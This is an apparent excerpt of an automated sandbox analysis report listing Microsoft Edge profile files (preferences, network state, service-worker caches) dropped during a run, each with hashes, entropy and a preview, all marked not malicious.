SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5p:JkIEumQv8m1ccnvS6Uz+lGFh55Law1a
MD5:	B1A8004C292D1F94DF60CF01FE4E56EC
SHA1:	72611E22DDE16B99B92D13E7B3B85753617AFE73
SHA-256:	3814BBBCB42147D89851AE9D880D795A542765D3ABE10D017E8FEE3F90B1FDAA
SHA-512:	C27D0DB0271C4F20F665F494D0E1CF3840BF08070B3CA40C831D3A890F1416F2D4F551827206124A2F0219D94DB418CAA8C8DA807548F4CFFC67E79254FE373D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c62f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3dcb5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ad583b81-1899-4b22-8fd1-11cc96f56531.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d6cb8e4b-5163-41b9-85e3-abd3f71102fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e65bf950-44d4-40f9-8d0d-4290351ad904.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.304365597928522
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsvKZVMdmRdsv0ZFRudFGRw6maPsw6C1VdsFy8ZC52HWQYhbAv:YcCpfgCzsvutsvsfc7kBRsFDCgH3Yhbm
MD5:	BC7AF8A5B9F826E3C508E603FEEF7E7F
SHA1:	926C8E2F99CF4207695D5D9B21D7E55AAA35344E
SHA-256:	231D57F3EFD0F3488C27BE1CD612D019DA49E3536D3FC26D61C4E41224C6AF77
SHA-512:	3DDBF5673E3440A689D705A95DB3AF3473DA75AD0494D592C68AE491938979081823AD9BEA06FED6F2BF03C6B26710834043622C1BDCD9C3B0A291DED5F6F1C9
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379583219497193","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379583224572588","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.1055269346824685
Encrypted:	false
SSDEEP:	192:stBkdp/s4KaFvrE9kyGY8ubV+FW4QAwUI+PEYJ:stBQ/s4KCDabGJQSIu
MD5:	DB198E6488D02B499FB175C32E928AF4
SHA1:	E4224D26E0784A9178EF69CCDDE4D1B8E564CF0D
SHA-256:	739971C3692785472567E9292D6731268A8EB1D298F1AC1002A03A6B529B6860
SHA-512:	AFB3C407F5C9FCBA39F2EB7B0F9ADCC0E8587C08DE3AF8740B7235DBFC7702504F89C429DD5B4A4EC5BC646AEDFDD6BF4F134E1F53F59025080EEDD59AD45767
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40f10.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.1055269346824685
Encrypted:	false
SSDEEP:	192:stBkdp/s4KaFvrE9kyGY8ubV+FW4QAwUI+PEYJ:stBQ/s4KCDabGJQSIu
MD5:	DB198E6488D02B499FB175C32E928AF4
SHA1:	E4224D26E0784A9178EF69CCDDE4D1B8E564CF0D
SHA-256:	739971C3692785472567E9292D6731268A8EB1D298F1AC1002A03A6B529B6860
SHA-512:	AFB3C407F5C9FCBA39F2EB7B0F9ADCC0E8587C08DE3AF8740B7235DBFC7702504F89C429DD5B4A4EC5BC646AEDFDD6BF4F134E1F53F59025080EEDD59AD45767
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44e5b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.1055269346824685
Encrypted:	false
SSDEEP:	192:stBkdp/s4KaFvrE9kyGY8ubV+FW4QAwUI+PEYJ:stBQ/s4KCDabGJQSIu
MD5:	DB198E6488D02B499FB175C32E928AF4
SHA1:	E4224D26E0784A9178EF69CCDDE4D1B8E564CF0D
SHA-256:	739971C3692785472567E9292D6731268A8EB1D298F1AC1002A03A6B529B6860
SHA-512:	AFB3C407F5C9FCBA39F2EB7B0F9ADCC0E8587C08DE3AF8740B7235DBFC7702504F89C429DD5B4A4EC5BC646AEDFDD6BF4F134E1F53F59025080EEDD59AD45767
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c3aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.1055269346824685
Encrypted:	false
SSDEEP:	192:stBkdp/s4KaFvrE9kyGY8ubV+FW4QAwUI+PEYJ:stBQ/s4KCDabGJQSIu
MD5:	DB198E6488D02B499FB175C32E928AF4
SHA1:	E4224D26E0784A9178EF69CCDDE4D1B8E564CF0D
SHA-256:	739971C3692785472567E9292D6731268A8EB1D298F1AC1002A03A6B529B6860
SHA-512:	AFB3C407F5C9FCBA39F2EB7B0F9ADCC0E8587C08DE3AF8740B7235DBFC7702504F89C429DD5B4A4EC5BC646AEDFDD6BF4F134E1F53F59025080EEDD59AD45767
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376991216015263","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567890335281766
Encrypted:	false
SSDEEP:	768:4UX7e5WwUW5wUaf4qN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkoI7QbJrwXNvAnpj:4kq5FUWaUaf7Nu1jaJxq69jtC
MD5:	5ECEFF456232DB95D2B71A9AF83EC61A
SHA1:	05328AB1659439FB4A382EB6A307FE7C7B914485
SHA-256:	1C8959700FD25719539F0E000B31073F05755F4C6B315410414567354D318D69
SHA-512:	72826C6581DEC7C1554B91F545EA147DD05F7F994784566F3C921EA50FE5855AEE8C7A50EBB2561A9B7C4DEBC6D8E4A2BD57E1F21F94FA94BD3D3E58237AE76F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376991215470838","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376991215470838","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF40423.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567890335281766
Encrypted:	false
SSDEEP:	768:4UX7e5WwUW5wUaf4qN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPkoI7QbJrwXNvAnpj:4kq5FUWaUaf7Nu1jaJxq69jtC
MD5:	5ECEFF456232DB95D2B71A9AF83EC61A
SHA1:	05328AB1659439FB4A382EB6A307FE7C7B914485
SHA-256:	1C8959700FD25719539F0E000B31073F05755F4C6B315410414567354D318D69
SHA-512:	72826C6581DEC7C1554B91F545EA147DD05F7F994784566F3C921EA50FE5855AEE8C7A50EBB2561A9B7C4DEBC6D8E4A2BD57E1F21F94FA94BD3D3E58237AE76F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376991215470838","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376991215470838","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.842020048647854
Encrypted:	false
SSDEEP:	48:F2emwtrdDD2fBoXrdYxJrdDDZBErdcZBd:F1mwtxDD2UxYxJxDDYxcZ
MD5:	156C50CE1F83715471BA27CC7612C09A
SHA1:	62EE674B5CB3C2A112F50C677E6A43D319150AA9
SHA-256:	C5F9FD9ABF63D3A1E519A6D0E1A3FF9C57902A32F9C1C25D0793ADD12BD6EDD7
SHA-512:	DA658866011F14A9D7A1B89C1831A47CF092E1BF03A066BC19768A4F2D4E19C5929A9D65D0F7C4B47C800655798AB705347D63F9A1FA30F1BA127165030DF0B2
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..,-m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.152203262039144
Encrypted:	false
SSDEEP:	6:HAZQL1N723oH+TcwtE/a252KLlVAZQwf3+q2PN723oH+TcwtE/a2ZIFUv:gwaYeb8xLoivVaYeb8J2FUv
MD5:	866EB649395483620F6C1FA4B657F3DD
SHA1:	16DFBC28BCEB864F74989D3214E64BC2909F595E
SHA-256:	5F2DCD7ED74B848DBEB5485EFBF0B252C42856725EA47D70A72E0BD74CE36E1B
SHA-512:	5882D405B5DA4C5FC7DD3C1D5AB77470C5823666276AEA3048A2221ED4BC08EF7E54A00B4CD2286E08C004DE9E0D23DBC81C357456188AAD12D0FCBF27026EE1
Malicious:	false
Preview:	2024/11/25-01:53:51.443 1f98 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/25-01:53:51.459 1f98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114372
Entropy (8bit):	5.5776525454342085
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgX3D:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFHD
MD5:	A14162F7C3AF5559516E7BCF56C5CC76
SHA1:	1BB464266843A776523A5B745224E2E772689627
SHA-256:	225BDBA742301E69C58A9D87D0509B6817D0D00ED6D718FB336DC433D0C190C7
SHA-512:	9B928816C1C7E175F17DE358C8C779A22922A076F0A7DE5861699A3FCEA1F4FAFBEB6B6E7AA04C3157C2280B574DB10706078D0AAE2B6CA18409417F23FACD09
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385333447964147
Encrypted:	false
SSDEEP:	3072:osn74yEUv9+wCLcVb5pcL/E1MxeFuo3OqTrj54zzb:5+whb0L/YarHYsX
MD5:	AD60807BD0A1703B800CAADF0D8C8BD8
SHA1:	2FAE6245D21A33055BBC1D6A35D005ED3CE5E8B0
SHA-256:	9B1E2C20938F7FC31EB99D0920E8A245D934E0AB6A86557912F2EDAF9BA89A10
SHA-512:	E582BEDCC744F9CDF441E4EDDB0148659338677CC5A5CF4A907396A8E661B824B6EED5BFCAA0E0D0629EC514BF7C95CA880846F043D4014E34BED793E9394B1D
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTx........,T.8..`,.....L`.....,T...`......L`......Rcn..d....exports...Rc"..<....module....Rc...:....define....RbZH.a....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.2+..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:4WNTXl/ly/l9/lxEwlta/l2S2ln:4sjmOQ42Nn
MD5:	01666B6715C96D04C819B7B89AC94F65
SHA1:	9CFD4819244607EC25530C0D6C52AD7D1534E73B
